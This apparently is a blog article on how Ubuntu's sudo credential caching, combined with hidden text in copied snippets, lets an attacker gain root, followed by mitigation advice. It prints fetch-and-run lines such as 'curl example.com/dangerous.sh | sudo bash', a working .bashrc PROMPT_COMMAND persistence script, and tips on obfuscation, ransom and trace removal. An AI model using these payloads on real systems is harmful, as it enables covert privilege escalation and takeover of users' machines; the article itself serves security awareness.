The dangers of sudo timeout
Ubuntu is configured by default to cache the user's credentials for a couple
minutes after a successful use of sudo
. This is very comfortable. When you
enter a couple commands in succession, you do not have to enter the password
every single time. Take the following:
sudo apt-get update sudo apt-get upgrade sudo apt-get dist-upgrade
If the sudo
authentication would not be cached, you would have to enter your
password three times.
The hidden text
There is a danger to this. One often finds code snippets on the internet which
will tell you to perform some commands like the apt-get
commands up there.
There is a very subtle trick to smuggle in something you did not see. Take
the following text. Mark it with your mouse, copy and paste it in the text
field right below. You can also paste it into your terminal, this snippet is
not malicious.
echo I have copied this from the DANGEROUS internet.
Did the word DANGEROUS
show up? If not, your browser is smarter than mine.
Now an attacker can do the following. First he will tell you to run something
innocent like sudo apt-get update
. You enter your password and your
credentials are cached. Then after a few other innocent commands he will
prepare something like the following:
something; curl example.com/dangerous.sh | sudo bash; something
The part between the ;
will be hidden, of course. You would only see
something; something
which looks good to you. The dangerous.sh
will
contain some malicious payload which is then directly executed as root
.
Some malicious things I could think of:
- Set up a
cron
job to download more payload every day. You never know what you might want to do with a hacked computer, right? - Add your own package repository to the system. Then you can even "update"
packages on the machine and the user will think that he is installing
legitimate update. openSUSE's
zypper
will tell you about those "vendor changes" which is a very good thing. - Create yourself a user account on the machine and do something funny with it.
- Change the
root
password, remove all other users from thesudoers
file andadm
group. Then demand a ransom. If you have bad luck, the user knows how to use a Live CD and not to trust a compromised system.
The advanced hidden text
So I have shown you a way to get superuser access to a computer with the sudo
timeout when you get the user to paste something into his terminal session
where the credentials are cached. But some users might be more careful. They
might know about the credential caching and only copy code from the internet
when it does not involve sudo
. One can still get them with the timeout. It is
just a tad harder.
The sudo credential caching usually only works within the active session. So
when you open a second terminal window and execute something with sudo
, you
will have to type the password again. Otherwise you could simply have some
process lurking in the background and try to call sudo
every minute to see
whether the timeout is activated.
One needs to sneak into the currently active terminal window. It is not hard
and I will show you how easy it is to do. First one needs to upload a script
like the following to say example.com/mount_attack.sh
:
#!/bin/bash echo 'PROMPT_COMMAND="sudo -n ~/.try_root.sh &> /dev/null && echo Owned!"' >> ~/.bashrc cat > ~/.try_root.sh <<EOF #!/bin/bash touch /tmp/owned EOF chmod +x ~/.try_root.sh
Using the method described above, get the user to execute something like
curl example.com/mount_attack.sh | bash
. Since no superuser permissions are
involved, there is no waiting or dependence on the timeout.
The next time the user opens up a terminal, the new .bashrc
will be read. The
PROMPT_COMMAND
is executed before the prompt is displayed. The -n
flag lets
sudo
run in non-interactive mode. It will just fail if the credentials are
not cached. All output is suppressed, so the user will not notice anything.
Once the superuser credentials are cached in the current session, the
PROMPT_COMMAND
will be able to execute the .try_root.sh
script which will
then dig into the system and make itself at home. It could do all the things
that I have mentioned above.
In a real attack, one would obfuscate the names of all things involved. After gaining superuser access it would be a good idea to remove the traces within the home directory.
Mitigation
One should be able to protect themselves from this. You can do this in layers.
-
Disable the
sudo
timeout completely. This can be done by adding the following line to/etc/sudoers
:Defaults timestamp_timeout=0
Instead you can use
sudo -i
to obtain aroot
login shell to type all the commands withoutsudo
. This is more secure than usingsudo -s
since that uses the.bashrc
ofroot
instead of your own. An attack I just showed you here should be possible against the use ofsudo -s
as well. Just wait until the user ID changes to 0 and launch your code. -
Do not copy & paste code from websites directly into your shell. Paste it into an editor window instead and look what it does. Alternatively you could type the commands yourself as well.
Regularly scanning files like .bashrc
for those kind of things are probably
not really doing any good. The attacker would just remove all the traces once
the attack is launched. There are so many attack vectors, cleaning up is
probably not worth the effort. Rather invest in security up front by being
cautious.